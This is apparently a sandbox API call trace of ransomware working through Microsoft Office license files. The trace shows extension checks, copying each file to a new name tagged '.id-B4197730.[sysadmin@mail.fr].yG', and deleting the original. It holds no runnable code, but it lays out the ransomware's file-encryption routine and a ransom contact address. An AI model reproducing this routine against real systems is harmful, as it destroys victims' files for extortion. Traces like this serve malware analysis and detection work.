	[0166.619] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0166.619] lstrlenW (lpString=".7z") returned 3
	[0166.619] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0166.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0166.619] lstrlenW (lpString=".dbf") returned 4
	[0166.619] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0166.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0166.619] lstrlenW (lpString=".1cd") returned 4
	[0166.620] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0166.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0166.620] lstrlenW (lpString=".jpg") returned 4
	[0166.620] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0166.629] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=19954) returned 1
	[0166.629] CloseHandle (hObject=0x568) returned 1
	[0166.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 0x220
	[0166.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0166.630] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.630] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0166.686] GetLastError () returned 0x0
	[0166.686] ReadFile (in: hFile=0x568, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x4df2, lpOverlapped=0x0) returned 1
	[0166.693] WriteFile (in: hFile=0x48c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0166.695] ReadFile (in: hFile=0x568, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.695] WriteFile (in: hFile=0x48c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x118, lpOverlapped=0x0) returned 1
	[0166.695] SetEndOfFile (hFile=0x48c) returned 1
	[0166.695] CloseHandle (hObject=0x48c) returned 1
	[0166.696] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.696] SetEndOfFile (hFile=0x568) returned 1
	[0166.942] CloseHandle (hObject=0x568) returned 1
	[0166.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 1
	[0166.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0166.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0166.945] lstrlenW (lpString=".doc") returned 4
	[0166.945] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0166.945] lstrlenW (lpString=".docx") returned 5
	[0166.945] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0166.945] lstrlenW (lpString=".pdf") returned 4
	[0166.945] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0166.945] lstrlenW (lpString=".xls") returned 4
	[0166.945] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0166.945] lstrlenW (lpString=".xlsx") returned 5
	[0166.945] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0166.945] lstrlenW (lpString=".ppt") returned 4
	[0166.945] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0166.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0166.946] lstrlenW (lpString=".zip") returned 4
	[0166.946] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0166.946] lstrlenW (lpString=".rar") returned 4
	[0166.946] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0166.946] lstrlenW (lpString=".bz2") returned 4
	[0166.946] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0166.947] lstrlenW (lpString=".7z") returned 3
	[0166.947] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0166.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0166.947] lstrlenW (lpString=".dbf") returned 4
	[0166.947] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0166.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0166.947] lstrlenW (lpString=".1cd") returned 4
	[0166.947] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0166.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0166.947] lstrlenW (lpString=".jpg") returned 4
	[0166.947] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0166.948] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=19958) returned 1
	[0166.948] CloseHandle (hObject=0x568) returned 1
	[0166.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 0x220
	[0166.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0166.949] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.950] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0166.951] GetLastError () returned 0x0
	[0166.951] ReadFile (in: hFile=0x568, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x4df6, lpOverlapped=0x0) returned 1
	[0166.961] WriteFile (in: hFile=0x558, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0166.963] ReadFile (in: hFile=0x568, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.963] WriteFile (in: hFile=0x558, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x11a, lpOverlapped=0x0) returned 1
	[0166.963] SetEndOfFile (hFile=0x558) returned 1
	[0166.963] CloseHandle (hObject=0x558) returned 1
	[0166.963] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.963] SetEndOfFile (hFile=0x568) returned 1
	[0166.969] CloseHandle (hObject=0x568) returned 1
	[0166.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-phn.xrm-ms")) returned 1
	[0166.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0166.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0166.971] lstrlenW (lpString=".doc") returned 4
	[0166.971] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0166.971] lstrlenW (lpString=".docx") returned 5
	[0166.971] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0166.971] lstrlenW (lpString=".pdf") returned 4
	[0166.971] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0166.971] lstrlenW (lpString=".xls") returned 4
	[0166.972] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0166.972] lstrlenW (lpString=".xlsx") returned 5
	[0166.972] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0166.972] lstrlenW (lpString=".ppt") returned 4
	[0166.972] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0166.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0166.972] lstrlenW (lpString=".zip") returned 4
	[0166.972] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0166.972] lstrlenW (lpString=".rar") returned 4
	[0166.972] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0166.972] lstrlenW (lpString=".bz2") returned 4
	[0166.972] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0166.972] lstrlenW (lpString=".7z") returned 3
	[0166.972] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0166.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0166.972] lstrlenW (lpString=".dbf") returned 4
	[0166.972] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0166.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0166.972] lstrlenW (lpString=".1cd") returned 4
	[0166.972] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0166.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned 85
	[0166.972] lstrlenW (lpString=".jpg") returned 4
	[0166.972] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0166.973] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=22092) returned 1
	[0166.973] CloseHandle (hObject=0x568) returned 1
	[0166.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 0x220
	[0166.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0166.975] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.975] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0166.976] GetLastError () returned 0x0
	[0166.977] ReadFile (in: hFile=0x568, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x564c, lpOverlapped=0x0) returned 1
	[0166.980] WriteFile (in: hFile=0x558, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x5650, lpOverlapped=0x0) returned 1
	[0166.982] ReadFile (in: hFile=0x568, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.982] WriteFile (in: hFile=0x558, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x114, lpOverlapped=0x0) returned 1
	[0166.982] SetEndOfFile (hFile=0x558) returned 1
	[0166.983] CloseHandle (hObject=0x558) returned 1
	[0166.983] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.983] SetEndOfFile (hFile=0x568) returned 1
	[0167.142] CloseHandle (hObject=0x568) returned 1
	[0167.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 1
	[0167.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0167.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0167.859] lstrlenW (lpString=".doc") returned 4
	[0167.859] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0167.860] lstrlenW (lpString=".docx") returned 5
	[0167.860] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0167.860] lstrlenW (lpString=".pdf") returned 4
	[0167.860] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0167.860] lstrlenW (lpString=".xls") returned 4
	[0167.860] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0167.860] lstrlenW (lpString=".xlsx") returned 5
	[0167.860] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0167.860] lstrlenW (lpString=".ppt") returned 4
	[0167.860] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0167.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0167.860] lstrlenW (lpString=".zip") returned 4
	[0167.860] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0167.860] lstrlenW (lpString=".rar") returned 4
	[0167.860] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0167.860] lstrlenW (lpString=".bz2") returned 4
	[0167.860] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0167.860] lstrlenW (lpString=".7z") returned 3
	[0167.860] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0167.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0167.860] lstrlenW (lpString=".dbf") returned 4
	[0167.860] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0167.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0167.860] lstrlenW (lpString=".1cd") returned 4
	[0167.860] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0167.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0167.860] lstrlenW (lpString=".jpg") returned 4
	[0167.860] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0167.869] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=22215) returned 1
	[0167.869] CloseHandle (hObject=0x4d8) returned 1
	[0167.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 0x220
	[0167.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0167.870] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.871] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0167.873] GetLastError () returned 0x0
	[0167.873] ReadFile (in: hFile=0x4d8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x56c7, lpOverlapped=0x0) returned 1
	[0167.876] WriteFile (in: hFile=0x388, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x56d0, lpOverlapped=0x0) returned 1
	[0167.877] ReadFile (in: hFile=0x4d8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.877] WriteFile (in: hFile=0x388, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x112, lpOverlapped=0x0) returned 1
	[0167.877] SetEndOfFile (hFile=0x388) returned 1
	[0167.877] CloseHandle (hObject=0x388) returned 1
	[0167.885] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.885] SetEndOfFile (hFile=0x4d8) returned 1
	[0167.890] CloseHandle (hObject=0x4d8) returned 1
	[0167.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 1
	[0167.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0167.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0167.893] lstrlenW (lpString=".doc") returned 4
	[0167.893] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0167.893] lstrlenW (lpString=".docx") returned 5
	[0167.893] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0167.893] lstrlenW (lpString=".pdf") returned 4
	[0167.893] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0167.893] lstrlenW (lpString=".xls") returned 4
	[0167.893] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0167.893] lstrlenW (lpString=".xlsx") returned 5
	[0167.893] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0167.893] lstrlenW (lpString=".ppt") returned 4
	[0167.893] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0167.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0167.893] lstrlenW (lpString=".zip") returned 4
	[0167.893] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0167.893] lstrlenW (lpString=".rar") returned 4
	[0167.893] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0167.893] lstrlenW (lpString=".bz2") returned 4
	[0167.893] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0167.894] lstrlenW (lpString=".7z") returned 3
	[0167.894] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0167.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0167.894] lstrlenW (lpString=".dbf") returned 4
	[0167.894] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0167.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0167.894] lstrlenW (lpString=".1cd") returned 4
	[0167.894] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0167.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0167.894] lstrlenW (lpString=".jpg") returned 4
	[0167.894] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0167.895] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11625) returned 1
	[0167.895] CloseHandle (hObject=0x4d8) returned 1
	[0167.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 0x220
